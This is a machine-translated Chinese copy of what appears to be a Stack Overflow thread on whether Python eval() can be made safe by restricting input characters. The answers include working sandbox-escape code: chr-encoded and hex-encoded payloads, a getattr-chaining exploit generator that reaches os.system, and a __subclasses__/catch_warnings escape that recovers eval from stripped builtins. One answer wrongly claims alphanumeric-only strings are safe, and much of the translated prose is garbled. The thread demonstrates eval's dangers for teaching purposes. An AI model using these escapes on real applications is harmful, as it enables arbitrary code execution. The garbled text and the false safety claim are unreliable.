有对SO有关使用在不安全的字符串的Python的eval许多问题(例如: Python中的安全性的eval()在不安全的条件? , Python的:使EVAL安全 )。 一致的答案是,这是一个坏主意。
然而,我发现很少了解哪些字符串可以被认为是安全的(如果有的话)。 现在我不知道是否有“安全弦”的定义可用的(例如:仅包含小写字符的ASCII或任何迹象字符串+ - * /())。 我发现的漏洞利用一般依靠任一的_,:[]'”等这样的方法可以是安全(用在图中画的Web应用程序)?
否则,我想用解析包作为亚历克斯·马尔泰利建议是唯一的出路。
编辑:不幸的是,有没有答案,让为什么/上述字符串是如何被认为是不安全的,相反一个令人信服的解释(一小工作漏洞),也不解释。 据我所知,使用eval应该是可以避免的,但是这不是问题。 因此,我会奖励赏金给谁用是工作出现的第一个漏洞或一个很好的解释,为什么错位如上文所述的字符串是(在)的安全考虑。
在这里,你有一个工作的“攻击”与地方的限制 - 只包含小写字符的ASCII或任何迹象+ - * /()。 它依赖于一个第二EVAL层上。
def mask_code( python_code ):
s="+".join(["chr("+str(ord(i))+")" for i in python_code])
return "eval("+s+")"
bad_code='''__import__("os").getcwd()'''
masked= mask_code( bad_code )
print masked
print eval(bad_code)
输出:
eval(chr(111)+chr(115)+chr(46)+chr(103)+chr(101)+chr(116)+chr(99)+chr(119)+chr(100)+chr(40)+chr(41))
/home/user
这是一个非常平凡的 “攻击”。 我敢肯定有无数的人,即使有进一步的字符限制。 值得重申的是每个人都应该使用解析器或ast.literal_eval()。 只有通过解析令牌可以肯定的字符串是安全的评估。 还有什么是对赌的房子。
没有,没有,或者至少不是一个明智的,真正安全的方式。 Python是一个高度动态的语言,那不利的一面是,它很容易颠覆任何试图锁定的语言了。
你要么需要编写自己的解析器,你想要的子集,或者使用一些现有的,像ast.literal_eval()
特定情况下,你遇到他们。 使用专用于手头的工作,而不是试图迫使现有的人做你想要的工作,糟糕的工具。
编辑:
两个字符串,认为,虽然装修你的描述,如果一个实例eval()
以便编辑,会执行任意代码(这个特殊的例子运行evil.__method__()
"from binascii import *"
"eval(unhexlify('6576696c2e5f5f6d6574686f645f5f2829'))"
要研究如何使安全EVAL我建议RestrictedPython模块(超过10年生产使用的,一个好的一件Python的软件)
http://pypi.python.org/pypi/RestrictedPython
RestrictedPython需要Python源代码并修改其AST(抽象语法树),以使在沙箱中评价安全,无任何泄漏的Python内部可能允许逃出沙盒。
从RestrictedPython源代码,您将学习如何执行,以使Python沙盒安全需要什么样的招数。
一个漏洞类似goncalopp的,但也满足该字符串的限制'eval'
是不是该漏洞的子字符串:
def to_chrs(text):
return '+'.join('chr(%d)' % ord(c) for c in text)
def _make_getattr_call(obj, attr):
return 'getattr(*(list(%s for a in chr(1)) + list(%s for a in chr(1))))' % (obj, attr)
def make_exploit(code):
get = to_chrs('get')
builtins = to_chrs('__builtins__')
eval = to_chrs('eval')
code = to_chrs(code)
return (_make_getattr_call(
_make_getattr_call('globals()', '{get}') + '({builtins})',
'{eval}') + '({code})').format(**locals())
它采用genexp和元组拆包调用组合getattr
有两个参数,而不使用逗号。
用法示例:
>>> exploit = make_exploit('__import__("os").system("echo $PWD")')
>>> print exploit
getattr(*(list(getattr(*(list(globals() for a in chr(1)) + list(chr(103)+chr(101)+chr(116) for a in chr(1))))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)) for a in chr(1)) + list(chr(101)+chr(118)+chr(97)+chr(108) for a in chr(1))))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(101)+chr(99)+chr(104)+chr(111)+chr(32)+chr(36)+chr(80)+chr(87)+chr(68)+chr(34)+chr(41))
>>> eval(exploit)
/home/giacomo
0
这证明,仅在使代码安全真的很难文字定义的限制。 即使喜欢的东西'eval' in code
是不是安全。 要么你必须删除所有执行函数调用的可能性,或者您必须删除所有危险的内置插件eval
的环境。 我的攻击也表明getattr
是一样糟糕eval
,即使你不能使用逗号,因为它可以让你任意行走到对象的层次结构。 例如,您可以得到真正eval
函数,即使环境并没有提供它:
def real_eval():
get_subclasses = _make_getattr_call(
_make_getattr_call(
_make_getattr_call('()',
to_chrs('__class__')),
to_chrs('__base__')),
to_chrs('__subclasses__')) + '()'
catch_warnings = 'next(c for c in %s if %s == %s)()' % (get_subclasses,
_make_getattr_call('c',
to_chrs('__name__')),
to_chrs('catch_warnings'))
return _make_getattr_call(
_make_getattr_call(
_make_getattr_call(catch_warnings, to_chrs('_module')),
to_chrs('__builtins__')),
to_chrs('get')) + '(%s)' % to_chrs('eval')
>>> no_eval = __builtins__.__dict__.copy()
>>> del no_eval['eval']
>>> eval(real_eval(), {'__builtins__': no_eval})
<built-in function eval>
即使如果删除了所有的内置插件,然后将代码变得安全:
>>> eval(real_eval(), {'__builtins__': None})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name 'getattr' is not defined
请注意,设置'__builtins__'
到None
还会删除chr
, list
, tuple
等你的性格restrinctions的组合和 '__builtins__'
到None
是完全安全的,因为用户无法访问任何东西。 他不能使用.
中,括号[]
或任何内置功能或类型。
即使我必须这样说的话,你可以评估是相当有限的。 你不能这样做不是做数字运算等等。
也许这足以去除eval
, getattr
和chr
从内置插件,使代码安全的,至少我不能想办法写一个利用不使用其中之一。
A“解析”的方法可能是更安全,提供了更多的灵活性。 例如这个食谱是相当不错的,也是很容易定制,以增加更多的限制。
你或许应该避免的eval,其实。
但是,如果你坚持了下来,你可能只是确保你的字符串是字母数字。 这应该是安全的。
这是不够的创建输入消毒程序。 你还必须确保消毒不一次无意中省略。 要做到这一点的方法之一是错误检查 。
假设命名函数存在,并且是安全的:
if re.match("^(?:safe|soft|cotton|ball|[()])+$", code): eval(code)